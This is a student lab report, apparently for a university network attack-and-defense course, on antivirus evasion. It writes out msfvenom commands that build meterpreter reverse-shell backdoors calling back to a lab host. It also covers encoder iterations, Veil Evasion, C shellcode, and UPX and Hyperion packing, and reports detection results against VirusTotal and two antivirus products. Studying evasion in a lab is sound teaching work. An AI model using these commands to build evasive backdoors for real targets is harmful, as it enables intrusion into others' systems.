20232424 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
- 1.1尝试使用msfvenom中的编码器生成多种类型的后门文件
- 1.2利用工具对文件进行加壳操作
- 1.3使用C语言 + shellcode编程
- 1.4尝试利用免杀技术通过杀毒软件的检测并进行回连
2.问题回答
- (1)杀软是如何检测出恶意代码的?
- 特征码检测:提取恶意代码的唯一特征(如特定字符串、指令序列),与杀软数据库中的特征库比对,匹配即判定为恶意。
- 行为检测:监控程序运行时的异常行为(如修改系统注册表、反弹连接、静默植入、窃取敏感信息等),若触发行为规则就立即告警。
- (2)免杀是做什么?
- 免杀是通过技术手段,修改恶意代码的特征、行为或结构,躲避杀软的检测,让恶意代码能在目标系统中正常运行。
- (3)免杀的基本方法有哪些?
- 修改特征:对恶意代码进行加壳(如UPX与hyperion)、混淆、加密,破坏原有特征码。
- 行为伪装:修改恶意行为的执行逻辑(如延迟反弹连接、分段执行恶意操作、模拟正常程序行为),规避杀软的行为检测规则。
3.实验过程
3.0评判基准
本次实验以VIRUSTOTAL网站对后门文件的检测作为免杀效果的评判基准,对实验二的后门软件进行检测,如下图:

结果为50/71
3.1Msfvenom使用编码器
1.首先查看Msfvenom可使用的编码器,如图:

- 这里先使用shikata_ga_nai对后门程序进行一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.19.129 LPORT=8000 -f exe > 20232424alive.exe

一次编码效果如图,比不使用编码稍强,但无法实现免杀
- 对后门程序进行十次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.19.129 LPORT=8000 -f exe > 20232424alive_1.exe
#-i [n] 表示进行n次编码

效果如图,只比一次编码多绕过一个检测,效果不理想
2.生成jar文件
- 将后门文件以jar包格式生成
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 x > 20232424jar.jar

效果如图,与上一步中一次编码的程序效果一致
- 对jar包进行十次编码
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.19.129 LPORT=8000 x > 20232424jar2.jar

效果如图,与一次编码的jar包无差别,免杀效果仍不理想
3.生成php文件
- 将后门文件以php格式生成
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 x > 20232424php.php

效果如图,与之前的文件相比,免杀效果有提高
- 对php文件做十次编码
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.19.129 LPORT=8000 x > 20232424php.php

此次效果大大提高,但仍有8个工具可检测出该php文件有威胁
3.2使用veil工具尝试免杀
1.环境配置
下载并安装veil工具
sudo apt -y install veil #下载veil工具
usr/share/veil/config/setup.sh --force --silent #静默运行Veil工具的初始化设置脚本,自动配置Veil运行所需的所有依赖环境和组件



完成
2.使用veil生成后门文件
veil
use 1 #进入Evasion(可生成绕过检测的后门文件)

list查看可用载荷

选择7)c/meterpreter/rev_tcp.py
set LHOST 192.168.19.129
set LPORT 2409
generate #生成载荷
payload_120232424 #生成文件的文件名

/var/lib/veil/output/compiled目录下可找到payload_20232424

检测该文件免杀情况

如图,仍可被36个工具检测出,veil工具也无法完全实现免杀
3.3C语言调用Shellcode
1.使用msfvenom生成一个C语言格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 -f c
使用vi编辑器为后门文件加一个函数,如图:

将.c文件编译为可执行文件

传入物理机进行检测

2.加压缩壳upx
upx shellcode_c_20232424.exe -o shellcode_c_upx_20232424.exe
检测效果如图:

3.加密壳hyperion
这一步需要在/usr/share/windows-resources/hyperion/目录下进行
将上一步中的exe文件复制到该目录下,通过wine hyperion.exe -v shellcode_c_20232424.exe shellcode_c_hyp_20232424.exe对文件加密

检测效果如图:

效果较之前更差
3.4综合应用
1.生成一个十次编码的后门文件,参考上述步骤对其编译、加壳(压缩壳与加密壳均使用)
得到一个综合了所有技术的后门文件20232424_shellcode_multi_3.exe





对文件检测:

如图,效果依旧很差
3.5尝试回连
1.以上步骤均在关闭“windows安全中心-实时保护”的情况下进行,现在打开尝试免杀


如图,文件被“秒杀”,后门程序被删除
使用python试试能不能绕过检测
在虚拟机中生成一个.py后门文件传入物理机进行编译



编译完成后可执行文件就被查出并删除,只留下.py文件与SPEC文件
2.使用“火绒”进行杀软检测
开启后火绒代替windows安全中心进行实时保护

综合了多项工具的multi_3文件依旧被秒杀,但发现未添加加密壳的multi_2.exe可成功传入

成功绕过检测

但无法运行multi_2.exe,尝试回连失败
本次使用的杀毒软件为“火绒安全卫士”,版本:6.0.7.14,病毒库:2025-10-26 18:08

4.问题及解决方案
本次实验参考同学们的博客进行,并未遇到较大问题
5.学习感悟、思考等
参考资料
- 0x23_MAL_免杀原理与实践.md
- 20232409 2025-2026-1 《网络与系统攻防技术》实验三实验报告